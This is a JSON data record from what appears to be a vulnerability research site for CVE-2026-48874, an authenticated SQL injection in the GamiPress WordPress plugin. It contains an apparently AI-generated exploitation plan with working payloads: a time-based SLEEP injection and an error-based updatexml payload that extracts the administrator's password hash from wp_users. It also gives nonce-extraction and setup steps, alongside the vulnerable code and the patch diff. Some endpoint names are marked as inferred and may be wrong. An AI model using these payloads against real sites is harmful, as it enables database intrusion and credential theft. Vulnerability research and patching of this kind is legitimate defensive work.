[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f2W7oqtdB6o5JKB0YIpJA_0u5yfLJC5nddkxCJsHJddw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-48874","gamipress-gamification-plugin-to-reward-points-achievements-badges-ranks-in-wordpress-authenticated-subscriber-sql-injec","GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress \u003C= 7.8.7 - Authenticated (Subscriber+) SQL Injection","The GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","gamipress",null,"\u003C=7.8.7","7.8.8","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-02 00:00:00","2026-06-08 14:36:45",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9c819a98-033e-4ef8-a295-bf1a3518f63a?source=api-prod",7,[22,23,24,25,26,27,28,29],"assets\u002Fjs\u002Fgamipress-admin-functions.min.js","assets\u002Fjs\u002Fgamipress-admin-tools.min.js","gamipress.php","includes\u002Fcustom-tables\u002Flogs.php","includes\u002Fcustom-tables\u002Fuser-earnings.php","includes\u002Fshortcodes\u002Fgamipress_earnings.php","includes\u002Fshortcodes\u002Fgamipress_logs.php","libraries\u002Fct-ajax-list-table\u002Fct-ajax-list-table.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-48874 (GamiPress SQL Injection)\n\nThis plan outlines the steps to verify and exploit a Subscriber-level SQL Injection vulnerability in the GamiPress plugin (version \u003C= 7.8.7).\n\n## 1. Vulnerability Summary\nThe GamiPress plugin utilizes a custom table system (under `libraries\u002Fct\u002F`) to manage logs and user earnings. The vulnerability exists in the query filtering logic for these tables, specifically within the `gamipress_user_earnings_query_where` function in `includes\u002Fcustom-tables\u002Fuser-earnings.php`.\n\nThe function fails to use `wpdb->prepare()` when constructing the `WHERE` clause for the `parent_post_type` parameter. Instead, it relies on `sanitize_text_field()`, which does not escape single quotes, and directly concatenates the user-supplied values into the SQL query string.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `gamipress_get_table_data` (Inferred action for the `CT_Ajax_List_Table` system used by GamiPress) or `gamipress_get_user_earnings` (Inferred).\n- **Vulnerable Parameter:** `parent_post_type` (as an array)\n- **Authentication:** Authenticated, Subscriber level or higher.\n- **Preconditions:** The attacker must be logged in as a Subscriber and obtain a valid nonce from the `gamipress_admin_functions` localized script object.\n\n## 3. Code Flow\n1. **Entry Point:** A Subscriber triggers an AJAX request to load their \"Earnings\" list.\n2. **AJAX Handler:** The request is routed to a handler that utilizes the `CT_Query` class to fetch data from the `gamipress_user_earnings` table.\n3. **Filter Trigger:** The `CT_Query` class applies the `ct_query_where` filter.\n4. **Vulnerable Sink:** `gamipress_user_earnings_query_where` (in `includes\u002Fcustom-tables\u002Fuser-earnings.php`) is called.\n5. **Logic:**\n   - The code checks `if( isset( $qv['parent_post_type'] ) )`.\n   - If `parent_post_type` is an array, it performs:\n     ```php\n     $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );\n     $parent_post_type = \"'\" . implode( \"', '\", $parent_post_type ) . \"'\";\n     $where .= \" OR ppt.meta_value IN ( {$parent_post_type} )\";\n     ```\n6. **Injection:** Since `sanitize_text_field` doesn't escape `'`, an element like `a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) -- ` breaks out of the `IN` clause and executes arbitrary SQL.\n\n## 4. Nonce Acquisition Strategy\nThe GamiPress plugin localizes nonces into the `gamipress_admin_functions` JavaScript object.\n\n1. **Shortcode Setup:** The `[gamipress_earnings]` shortcode enqueues the necessary scripts and localizes the nonce.\n2. **Page Creation:** Use WP-CLI to create a page containing this shortcode.\n3. **Navigation:** Navigate to this page as a Subscriber user.\n4. **Extraction:** Use `browser_eval` to extract the nonce:\n   ```javascript\n   window.gamipress_admin_functions?.nonce\n   ```\n\n## 5. Exploitation Strategy\n\n### Step 1: Authentication & Nonce Extraction\nLogin as a subscriber and visit the page created in the setup phase to grab the nonce.\n\n### Step 2: Time-Based SQL Injection\nSend an AJAX request to `admin-ajax.php` with the malicious payload.\n\n- **Tool:** `http_request`\n- **Method:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `gamipress_get_table_data` (If this fails, try `ct_ajax_get_table_data` or `gamipress_get_user_earnings`)\n    - `nonce`: `[EXTRACTED_NONCE]`\n    - `table`: `gamipress_user_earnings`\n    - `parent_post_type[]`: `a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) -- `\n\n### Step 3: Verification\nMonitor the response time. A delay of ~5 seconds confirms the injection.\n\n## 6. Test Data Setup\n1. **Create Subscriber:**\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n   ```\n2. **Create Landing Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"My Earnings\" --post_status=publish --post_content='[gamipress_earnings]'\n   ```\n3. **Generate Sample Data (Optional):**\n   GamiPress needs some data in the custom tables for queries to process normally, though the injection should trigger regardless of results if the JOIN condition (`ppt`) is met by providing the parameter.\n\n## 7. Expected Results\n- **Success:** The HTTP request takes significantly longer than usual (5+ seconds).\n- **Failure:** The request returns immediately with a `0`, `-1`, or a JSON error indicating an invalid nonce or unauthorized action.\n\n## 8. Verification Steps\nAfter the `http_request` finishes, check the execution logs:\n1. Verify the elapsed time of the malicious request.\n2. If `WP_DEBUG` is enabled, check `\u002Fwp-content\u002Fdebug.log` for SQL syntax errors which might reveal the final constructed query.\n\n## 9. Alternative Approaches\n\n### Error-Based Injection\nIf the plugin or environment displays database errors, use `updatexml` to extract data:\n- **Payload:** `a') OR updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) -- `\n\n### Target: Logs Table\nA similar vulnerability likely exists in `includes\u002Fcustom-tables\u002Flogs.php`. If the earnings table is restricted, try the logs table:\n- **Action:** `gamipress_get_table_data`\n- **Table:** `gamipress_logs`\n- **Vulnerable Parameter:** `type` or `access` (Check if `gamipress_custom_table_where` for strings is also missing preparation).","The GamiPress plugin for WordPress is vulnerable to authenticated SQL Injection via the 'parent_post_type' parameter in the user earnings query logic. This occurs because the plugin uses sanitize_text_field()—which does not escape single quotes—and directly concatenates user input into a WHERE clause without using the $wpdb->prepare() method.","\u002F\u002F includes\u002Fcustom-tables\u002Fuser-earnings.php:221\n    \u002F\u002F Parent post type\n    if( isset( $qv['parent_post_type'] ) && ! empty( $qv['parent_post_type'] ) ) {\n\n        if( is_array( $qv['parent_post_type'] ) ) {\n            \u002F\u002F Sanitize\n            $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );\n            $parent_post_type = \"'\" . implode( \"', '\", $parent_post_type ) . \"'\";\n\n            $where .= \" OR ppt.meta_value IN ( {$parent_post_type} )\";\n        } else {\n            \u002F\u002F Sanitize\n            $parent_post_type = sanitize_text_field( $qv['parent_post_type'] );\n            $where .= \" OR ppt.meta_value = '{$parent_post_type}'\";\n        }\n    }","--- includes\u002Fcustom-tables\u002Fuser-earnings.php\n+++ includes\u002Fcustom-tables\u002Fuser-earnings.php\n@@ -224,11 +224,14 @@\n \n         if( is_array( $qv['parent_post_type'] ) ) {\n             \u002F\u002F Sanitize\n-            $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );\n+            $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );\n+            $parent_post_type = array_map( 'esc_sql', $parent_post_type );\n             $parent_post_type = \"'\" . implode( \"', '\", $parent_post_type ) . \"'\";\n \n             $where .= \" OR ppt.meta_value IN ( {$parent_post_type} )\";\n         } else {\n             \u002F\u002F Sanitize\n-            $parent_post_type = sanitize_text_field( $qv['parent_post_type'] );\n-            $where .= \" OR ppt.meta_value = '{$parent_post_type}'\";\n+            $parent_post_type = sanitize_text_field( $qv['parent_post_type'] );\n+            $where .= $wpdb->prepare( \" OR ppt.meta_value = %s\", $parent_post_type );\n         }\n     }","The exploit target is the GamiPress AJAX table loader. To execute the attack, an authenticated user (Subscriber or higher) must: \n1. Retrieve a valid GamiPress AJAX nonce, which is typically localized in the 'gamipress_admin_functions' JavaScript object on pages containing GamiPress shortcodes like [gamipress_earnings]. \n2. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php using the 'gamipress_get_table_data' action. \n3. Supply the 'parent_post_type' parameter as an array containing a payload that breaks out of the SQL IN clause, such as: a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) -- . \n4. The lack of escaping on the single quote in the array element allows the attacker to inject arbitrary SQL logic, which can be verified using time-based techniques.","gemini-3-flash-preview","2026-06-26 05:49:02","2026-06-26 05:50:44",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","7.8.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgamipress\u002Ftags\u002F7.8.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgamipress.7.8.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgamipress\u002Ftags\u002F7.8.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgamipress.7.8.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgamipress\u002Ftags"]